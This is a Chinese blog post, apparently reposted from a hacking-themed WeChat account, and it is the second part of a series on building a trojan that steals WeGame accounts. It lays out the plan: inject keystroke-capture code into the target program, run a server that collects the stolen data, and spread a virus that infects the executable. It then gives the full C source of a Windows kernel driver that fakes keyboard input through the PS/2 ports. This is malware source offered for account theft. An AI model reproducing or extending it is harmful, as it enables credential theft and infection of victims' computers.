前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >木马盗号《二》

木马盗号《二》

作者头像
知识与交流
发布2021-04-02 12:40:46
1.5K0
发布2021-04-02 12:40:46
举报
文章被收录于专栏:黑客技术家园黑客技术家园

看完了第一篇 WeGame盗号木马之旅(一) ,相信读者已经大概明白了我们需要干什么。下面我稍微详细的介绍一下我们接下来需要实现的部分:

一、编写驱动级键盘模拟点击驱动。

二、编写具体注入到目标EXE,实现按键截取的代码。

三、编写服务端接受消息的程序。

四、编写具体的病毒EXE,实现感染目标EXE并注入我们编写的木马代码。

开发环境:

VisualStudio2015 ,驱动开发使用WDF驱动模型

目标:

这一篇我们实现驱动的开发。完成驱动模拟键盘点击。

实现:

驱动开发是一个蛋疼的活。最好有两台电脑方便调试,虚拟机也可以,因为很容易蓝屏重启。我使用虚拟机进行调试,我使用的驱动运行环境是WIN7 32位。因为WIN7 64 和WIN 10 都有驱动签名保护,调试起来不是很方便。另外说一句,本次驱动WIN 10系统下好像模拟失败,具体原因我没有时间找。所以WeGame的运行环境我放到了WIN 7虚拟机里面,服务器端我放到了本机。

如果想要很好的理解本篇文章,请先参考此文章:(http://shanzy.bokee.com/834368.html)。他介绍了PS/2键盘的底层工作原理。下面我简单说明一下原理:不像直接通过WIN32 API模拟发送消息,我们直接通过访问键盘端口进行模拟。当我们在键盘上按下一个键时,会产生一个中断。然后CPU就会启动中断服务历程,相关驱动程序就会去0X60端口读取按键扫描码。然后经过一系列驱动处理把消息传给RawInputThread进程,然后他具体发送到需要的进程(细节请参考《寒江独钓:Windows内核安全编程》)。我们可以直接向0X64端口写命令给键盘相关驱动,然后再通过0X60写入具体的按键扫描码。具体的按键扫描码请参考:(https://blog.csdn.net/firas/article/details/26267573)。注意:我们发送的不是ASCII码。下面就贴一下代码,关键的点上面都说了。对于驱动老手我想这个是很简单的,但是新手的我调试了不少时间-。-//////

代码如下:

代码语言:javascript
复制
#include<ntddk.h>
#include<wdf.h>
#define TROJAN_LINKNAME L"\\DosDevices\\TROJAN_LINK" 
//回掉函数的申明
DRIVER_INITIALIZE DriverEntry;
EVT_WDF_DRIVER_DEVICE_ADD Trojan_EvtDeviceAdd;
EVT_WDF_IO_QUEUE_IO_DEVICE_CONTROL Trojan_EvtIoDeviceControl;
EVT_WDF_TIMER Trojan_EvtTimerFunc;
//存放一些全局变量
typedef struct _QUEUE_CONTEXT{
 WDFTIMER timer;//定时器
 UCHAR mark;//具体的按键扫描码
 WDFREQUEST request;//请求
 BOOLEAN isSpace;//用于判断是否输出Backspace,去掉前面模拟点击的字符
} QUEUE_CONTEXT, *PQUEUE_CONTEXT;
WDF_DECLARE_CONTEXT_TYPE_WITH_NAME(QUEUE_CONTEXT,GetQueueContext)
//驱动入口函数
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registerPath) {
 //状态信息
 NTSTATUS status = STATUS_SUCCESS;
 //驱动对象
 WDF_DRIVER_CONFIG driverConfig;
 //初始化
 WDF_DRIVER_CONFIG_INIT(&driverConfig, Trojan_EvtDeviceAdd);
 //创建驱动对象
 status = WdfDriverCreate(driverObject, registerPath, WDF_NO_OBJECT_ATTRIBUTES, &driverConfig, WDF_NO_HANDLE);
 if (!NT_SUCCESS(status)) {
 KdPrint(("Trojan:创建驱动失败!"));
 return status;
 }
 return status;
}
NTSTATUS Trojan_EvtDeviceAdd(IN WDFDRIVER driver, IN PWDFDEVICE_INIT deviceInit) {
 UNREFERENCED_PARAMETER(driver);
 //状态信息
 NTSTATUS status = STATUS_SUCCESS;
 //设备对象
 WDFDEVICE device;
 UNICODE_STRING linkNmae;//符号连接名字
 //队列对象
 PQUEUE_CONTEXT pQueueContext;
 WDF_IO_QUEUE_CONFIG ioQueueConfig;
 WDF_OBJECT_ATTRIBUTES queueAttributes;
 WDFQUEUE queue;
 //定时器对象
 WDF_TIMER_CONFIG timerConfig;
 WDF_OBJECT_ATTRIBUTES timerAttributes;
 //创建设备对象
 status = WdfDeviceCreate(&deviceInit, WDF_NO_OBJECT_ATTRIBUTES, &device);
 if (!NT_SUCCESS(status)) {
 KdPrint(("Trojan:创建设备失败!\n"));
 return status;
 }
 //创建符号连接
 RtlInitUnicodeString(&linkNmae, TROJAN_LINKNAME);
 status = WdfDeviceCreateSymbolicLink(device, &linkNmae);
 if (!NT_SUCCESS(status)) {
 KdPrint(("Trojan:创建符号连接失败!\n"));
 return status;
 }
 //创建队列对象
 WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE(&ioQueueConfig, WdfIoQueueDispatchSequential);
 WDF_OBJECT_ATTRIBUTES_INIT_CONTEXT_TYPE(&queueAttributes, QUEUE_CONTEXT);
 ioQueueConfig.EvtIoDeviceControl = Trojan_EvtIoDeviceControl;//设置DeviceControl回掉例程
 status = WdfIoQueueCreate(device, &ioQueueConfig, &queueAttributes, &queue);
 if (!NT_SUCCESS(status)) {
 KdPrint(("Trojan:创建队列失败!\n "));
 return status;
 }
 pQueueContext = GetQueueContext(queue);
 pQueueContext->mark = 0X02;//1的扫描码
 pQueueContext->isSpace = FALSE;
 //创建定时器对象
 WDF_TIMER_CONFIG_INIT_PERIODIC(&timerConfig, Trojan_EvtTimerFunc, 20);
 WDF_OBJECT_ATTRIBUTES_INIT(&timerAttributes);
 timerAttributes.ParentObject = queue;
 status = WdfTimerCreate(&timerConfig, &timerAttributes, &pQueueContext->timer);
 if (!NT_SUCCESS(status)) {
 KdPrint(("Trojan:创建定时器失败!\n"));
 return status;
 }
 WdfControlFinishInitializing(device);//设备创建完成,开始接受IRP请求
 KdPrint(("Trojan:初始化完成!\n"));
 return status;
}
//控制函数,Ring3程序发送命令到此函数处理
VOID Trojan_EvtIoDeviceControl(IN WDFQUEUE queue, IN WDFREQUEST request, IN size_t outBufferLength, IN size_t inputBufferLength, IN ULONG code) {
 //说明一下这些参数没有使用
 UNREFERENCED_PARAMETER(outBufferLength);
 UNREFERENCED_PARAMETER(inputBufferLength);
 UNREFERENCED_PARAMETER(code);
 PQUEUE_CONTEXT pQueueContest;
 pQueueContest = GetQueueContext(queue);
 pQueueContest->request = request;//保存这个IRP请求,便于最后告述队列请求处理完成,接受一下次请求
 WdfTimerStart(pQueueContest->timer, WDF_REL_TIMEOUT_IN_MS(100));//启动定时器
 KdPrint(("Trojan:接受到命令!\n"));
 return;
}
//定时器,毕竟模拟按键需要等待一些时间再按下另一个
VOID Trojan_EvtTimerFunc(IN WDFTIMER timer) {
 KdPrint(("Trojan:进入定时器!\n"));
 WDFQUEUE queue;
 PQUEUE_CONTEXT pQueueContext;
 queue = WdfTimerGetParentObject(timer);//获取队列对象
 pQueueContext = GetQueueContext(queue);//获取队列上下文空间指针
 //按键模拟实现
 if (!pQueueContext->isSpace) {//正常按键模拟
 //端口读写
 WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
 WRITE_PORT_UCHAR((PUCHAR)0X60, pQueueContext->mark);//按键按下模拟
 WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
 WRITE_PORT_UCHAR((PUCHAR)0X60, (pQueueContext->mark + 0X80));//按键抬起模拟
 pQueueContext->mark++;//变成下一个字符的扫描码
 pQueueContext->isSpace = TRUE;
 }
 else
 {//删除按键
     //端口读写
 WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
 WRITE_PORT_UCHAR((PUCHAR)0X60, 0X0E);//按键按下模拟,Backspace
 WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
 WRITE_PORT_UCHAR((PUCHAR)0X60, 0X8E);//按键抬起模拟
 pQueueContext->isSpace = FALSE;
 }
 //输入到0就结束,1234567890
 if (pQueueContext->mark == 0X0C&&!pQueueContext->isSpace) {
 pQueueContext->mark = 0X02;//重置,便于再次开启
 WdfTimerStop(timer, FALSE);//关闭定时器
 WdfRequestComplete(pQueueContext->request, STATUS_SUCCESS);//IRP请求处理完成
 KdPrint(("Trojan:完成命令!\n"));
 }
 return;
}

本篇结语:

可能有些读者没有接触过驱动开发,本菜也是急急忙忙看了一些书籍入个门,写个模拟键盘按键的驱动的-。-///。说实话,驱动是个大坑,慎入。。。我感觉开发Linux的驱动应该比Windows方便点。其实驱动运行在Ring0级,我们可以干很多坏(hao)事的O(∩_∩)O。。。很多杀毒软件都需要驱动运行在底层进行电脑保护。但是开发驱动不像一般的桌面程序开发,需要了解很多计算机底层的东西,而不仅仅是API的调用而已。

THE END

本文参与?腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-02-16,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 黑客技术家园 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体同步曝光计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com